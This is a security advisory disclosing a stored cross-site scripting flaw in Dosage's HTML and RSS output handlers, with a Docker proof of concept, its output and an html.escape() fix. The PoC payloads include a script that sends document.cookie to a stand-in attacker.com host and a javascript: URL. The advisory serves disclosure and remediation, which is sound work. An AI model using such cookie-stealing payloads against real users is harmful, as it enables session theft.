PT-2026-56094 · Pypi · Dosage
Published
2026-06-26
·
Updated
2026-06-26
CVSS v3.1
6.1
Medium
| Vector | AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
Summary
The HTML and RSS output handlers in
dosagelib/events.py write user-controlled content (comic text and page URLs) directly into generated files without proper HTML escaping. When a user scrapes a malicious webcomic and opens the generated HTML/RSS file, attacker-controlled JavaScript can execute in their browser.CWE: CWE-79 - Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
Details
Vulnerable Code Locations
The vulnerability exists in
dosagelib/events.py where untrusted content is written to HTML/RSS output without escaping:1. RSSEventHandler (lines 116-118)
python
# events.py:116-118
if comic.text:
description += '<br/>%s' % comic.text # ← Unescaped comic.text
description += '<br/><a href="%s">View Comic Online</a>' % pageUrl # ← Unescaped URL2. HtmlEventHandler (lines 232, 238)
python
# events.py:232
self.html.write(u'<li><a href="%s">%s</a>
' % (pageUrl, pageUrl)) # ← Unescaped URL
# events.py:238
if text:
self.html.write(u'<br/>%s
' % text) # ← Unescaped textRoot Cause
BasicScraper.fetchText()inscraper.py:422callshtml.unescape()on extracted text- The output handlers never call
html.escape()before writing to files - No sanitization of URLs or text content occurs anywhere in the output pipeline
Data Flow
Malicious webcomic page
↓
textSearch XPath extracts content (e.g., img/@title, div text)
↓
BasicScraper.fetchText() calls html.unescape()
↓
comic.text stored without sanitization
↓
HtmlEventHandler/RSSEventHandler writes to file without html.escape()
↓
Generated HTML/RSS contains executable JavaScriptPoC
I created a proof-of-concept that demonstrates the vulnerability by simulating a malicious comic source.
Prerequisites
- Docker installed and running
PoC Files
Create these files in a
poc/ directory:1.
poc/Dockerfiledockerfile
FROM python:3.11-slim
LABEL description="PoC for dosage Stored XSS vulnerability (CWE-79)"
WORKDIR /app
COPY . /app
# Install dependencies
RUN pip install --no-cache-dir --quiet imagesize lxml requests rich platformdirs
# Install dosage
ENV SETUPTOOLS SCM PRETEND VERSION FOR DOSAGE=0.0.0
RUN pip install --no-cache-dir --quiet .
CMD ["python", "poc/poc.py"]2.
poc/poc.pypython
#!/usr/bin/env python3
"""
PoC: Stored XSS in dosage HTML/RSS Output Handlers
Demonstrates that untrusted comic content is written to output files unescaped.
"""
import sys
from pathlib import Path
from types import SimpleNamespace
from dosagelib.events import HtmlEventHandler, RSSEventHandler
# XSS payloads simulating malicious webcomic content
MALICIOUS TEXT = "Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>"
MALICIOUS URL = "javascript:alert('XSS-via-URL')"
def check vulnerability(content: str, marker: str, description: str) -> bool:
"""Check if unescaped marker appears in content."""
if marker.lower() in content.lower():
print(f" [VULNERABLE] {description}")
print(f" Found unescaped: {marker}")
return True
print(f" [SAFE] {description}")
return False
def main():
print("=" * 70)
print("PoC: Stored XSS in dosage HTML/RSS Output Handlers")
print("=" * 70)
print()
base = Path( file ).parent / "output"
base.mkdir(parents=True, exist ok=True)
# Create dummy image file
img path = base / "payload.png"
img path.write bytes(b"x89PNGr
x1a
")
# Simulate comic with malicious content
comic = SimpleNamespace(
scraper=SimpleNamespace(name="MaliciousComic"),
referrer=MALICIOUS URL,
text=MALICIOUS TEXT,
url="http://example.com/comic.png"
)
vulnerabilities found = 0
# Test RSS Handler
print("[*] Testing RSSEventHandler...")
rss handler = RSSEventHandler(str(base), None, False)
rss handler.start()
rss handler.comicDownloaded(comic, str(img path))
rss handler.end()
rss path = Path(rss handler.rssfn)
rss content = rss path.read text(encoding="utf-8")
print(f" Output file: {rss path}")
if check vulnerability(rss content, "javascript:", "pageUrl in RSS href"):
vulnerabilities found += 1
# Test HTML Handler
print()
print("[*] Testing HtmlEventHandler...")
html handler = HtmlEventHandler(str(base), None, False)
html handler.start()
html path = Path(html handler.html.name)
html handler.comicDownloaded(comic, str(img path), text=MALICIOUS TEXT)
html handler.end()
html content = html path.read text(encoding="utf-8")
print(f" Output file: {html path}")
if check vulnerability(html content, "<script>", "text param in HTML"):
vulnerabilities found += 1
if check vulnerability(html content, "javascript:", "pageUrl in HTML link"):
vulnerabilities found += 1
# Show vulnerable content
print()
print("-" * 70)
print("Vulnerable Content in Generated HTML:")
print("-" * 70)
for line in html content.splitlines():
if "<script>" in line.lower() or "javascript:" in line.lower():
print(f" {line}")
print()
print("=" * 70)
print(f"RESULT: {vulnerabilities found} XSS vulnerability vectors confirmed!")
print("=" * 70)
return 0 if vulnerabilities found > 0 else 1
if name == " main ":
sys.exit(main())3.
poc/run poc.shbash
#!/usr/bin/env bash
set -euo pipefail
SCRIPT DIR="$(cd "$(dirname "${BASH SOURCE[0]}")" && pwd)"
ROOT DIR="$(cd "${SCRIPT DIR}/.." && pwd)"
echo "[*] Building PoC Docker image..."
docker build -t dosage-xss-poc -f "${SCRIPT DIR}/Dockerfile" "${ROOT DIR}" --quiet
echo "[*] Running PoC..."
docker run --rm dosage-xss-poc
echo "[*] Cleanup: docker rmi dosage-xss-poc"Running the PoC
bash
cd /path/to/dosage
chmod +x poc/run poc.sh
./poc/run poc.shPoC Output
======================================================================
PoC: Stored XSS in dosage HTML/RSS Output Handlers
======================================================================
[*] Testing RSSEventHandler...
Output file: /app/poc/output/dailydose.rss
[VULNERABLE] pageUrl in RSS href
Found unescaped: javascript:
[*] Testing HtmlEventHandler...
Output file: /app/poc/output/html/comics-20251210.html
[VULNERABLE] text param in HTML
Found unescaped: <script>
[VULNERABLE] pageUrl in HTML link
Found unescaped: javascript:
----------------------------------------------------------------------
Vulnerable Content in Generated HTML:
----------------------------------------------------------------------
<li><a href="javascript:alert('XSS-via-URL')">javascript:alert('XSS-via-URL')</a>
<br/>Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>
======================================================================
RESULT: 3 XSS vulnerability vectors confirmed!
======================================================================The output shows that:
- The
javascript:URL is written directly into<a href>attributes - The
<script>tag from comic text appears unescaped in the HTML body
Impact
Who is affected?
- Users who use
dosage --output htmlordosage --output rssoptions - Anyone who opens the generated HTML/RSS files in a browser
Attack scenario
- Attacker creates or compromises a webcomic site
- Attacker injects JavaScript into image title/alt attributes:
html
<img src="comic.png" title="Funny!<script>alert(1)</script>">- Victim runs:
dosage MaliciousComic --output html - The generated
Comics/html/comics-YYYYMMDD.htmlcontains the unescaped script - When victim opens the file, JavaScript executes
Potential consequences
- Cookie theft if files are served over HTTP
- Local file access via
file://protocol - Phishing attacks through DOM manipulation
Recommended Fix
Escape all user-controlled content before writing to HTML/RSS:
python
import html
# In RSSEventHandler.comicDownloaded() - events.py around line 116:
if comic.text:
description += '<br/>%s' % html.escape(comic.text)
description += '<br/><a href="%s">View Comic Online</a>' % html.escape(pageUrl)
# In HtmlEventHandler.comicDownloaded() - events.py around line 232:
self.html.write(u'<li><a href="%s">%s</a>
' % (html.escape(pageUrl), html.escape(pageUrl)))
# events.py around line 238:
if text:
self.html.write(u'<br/>%s
' % html.escape(text))For URLs, validating that they use safe protocols (
http://, https://) would also help prevent javascript: URLs.Resources
- CWE-79: Cross-site Scripting (XSS)
- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross Site Scripting Prevention Cheat Sheet.html)
- Python html.escape() documentation
Fix
XSS
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Dosage